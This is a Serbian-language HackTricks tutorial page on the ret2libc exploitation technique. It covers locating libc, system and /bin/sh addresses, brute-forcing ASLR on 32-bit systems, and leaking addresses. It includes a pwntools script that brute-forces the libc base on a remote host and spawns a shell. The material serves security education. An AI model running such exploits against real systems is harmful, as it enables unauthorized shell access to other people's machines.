Ret2lib

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Osnovne informacije

Suština Ret2Libc je preusmeravanje toka izvršavanja ranjivog programa na funkciju unutar deljene biblioteke (npr., system, execve, strcpy) umesto izvršavanja napadačevog shell koda na steku. Napadač kreira payload koji menja adresu povratka na steku da pokazuje na željenu funkciju biblioteke, dok takođe obezbeđuje da su svi potrebni argumenti ispravno postavljeni prema konvenciji pozivanja.

Primer koraka (pojednostavljeno)

  • Dobiti adresu funkcije koju treba pozvati (npr. system) i komandu koju treba pozvati (npr. /bin/sh)
  • Generisati ROP lanac da prosledi prvi argument koji pokazuje na string komande i tok izvršavanja funkciji

Pronalaženje adresa

  • Pretpostavljajući da je libc koja se koristi ona sa trenutnog računara, možete pronaći gde će biti učitana u memoriji sa:
bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Ako želite da proverite da li ASLR menja adresu libc, možete uraditi:

bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Poznavanje korišćene libc takođe omogućava pronalaženje ofseta do system funkcije sa:
bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Poznavanje korišćenog libc-a takođe omogućava pronalaženje ofseta do stringa /bin/sh funkcije sa:
bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Koristeći gdb-peda / GEF

Poznavajući korišćenu libc, takođe je moguće koristiti Peda ili GEF da dobijete adresu funkcije system, funkcije exit i stringa /bin/sh :

bash
p system
p exit
find "/bin/sh"

Korišćenje /proc/<PID>/maps

Ako proces kreira decu svaki put kada razgovarate s njim (mrežni server), pokušajte da pročitate tu datoteku (verovatno će vam biti potrebna root privilegija).

Ovde možete pronaći tačno gde je libc učitan unutar procesa i gde će biti učitan za svaku decu procesa.

U ovom slučaju, učitan je u 0xb75dc000 (Ovo će biti osnovna adresa libc)

Nepoznata libc

Može biti moguće da ne znate koju libc binarni fajl učitava (jer se možda nalazi na serveru kojem nemate pristup). U tom slučaju, mogli biste iskoristiti ranjivost da procurite neke adrese i saznate koja libc biblioteka se koristi:

Leaking libc address with ROP

I možete pronaći pwntools šablon za ovo u:

Leaking libc - template

Poznavanje libc sa 2 ofseta

Proverite stranicu https://libc.blukat.me/ i koristite nekoliko adresa funkcija unutar libc da biste saznali korisćenu verziju.

Obilaženje ASLR na 32 bita

Ovi napadi brute-force su samo korisni za 32bitne sisteme.

  • Ako je exploit lokalni, možete pokušati da brute-force-ujete osnovnu adresu libc (korisno za 32bitne sisteme):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Ako napadate udaljeni server, možete pokušati da brute-force-ujete adresu libc funkcije usleep, prosledjujući kao argument 10 (na primer). Ako u nekom trenutku serveru treba dodatnih 10s da odgovori, pronašli ste adresu ove funkcije.

One Gadget

Izvršite shell jednostavno skakanjem na jednu specifičnu adresu u libc:

One Gadget

x86 Ret2lib Primer Koda

U ovom primeru ASLR brute-force je integrisan u kod i ranjivi binarni fajl se nalazi na udaljenom serveru:

python
from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Primerak Koda

Proverite primer iz:

ROP - Return Oriented Programing

ARM64 Ret2lib Primerak

U slučaju ARM64, ret instrukcija skače na mesto na koje pokazuje x30 registar, a ne na mesto na koje pokazuje registar steka. Tako da je malo komplikovanije.

Takođe, u ARM64, instrukcija radi ono što instrukcija radi (nije moguće skočiti usred instrukcija i transformisati ih u nove).

Proverite primer iz:

Ret2lib + Printf leak - arm64

Ret-into-printf (ili puts)

Ovo omogućava curenje informacija iz procesa pozivanjem printf/puts sa nekim specifičnim podacima postavljenim kao argument. Na primer, stavljanje adrese puts u GOT prilikom izvršavanja puts će curiti adresu puts u memoriji.

Ret2printf

Ovo u suštini znači zloupotrebu Ret2lib da se transformiše u ranjivost format stringova printf korišćenjem ret2lib za pozivanje printf sa vrednostima za eksploataciju (zvuči besmisleno, ali je moguće):

Format Strings

Ostali Primeri & reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks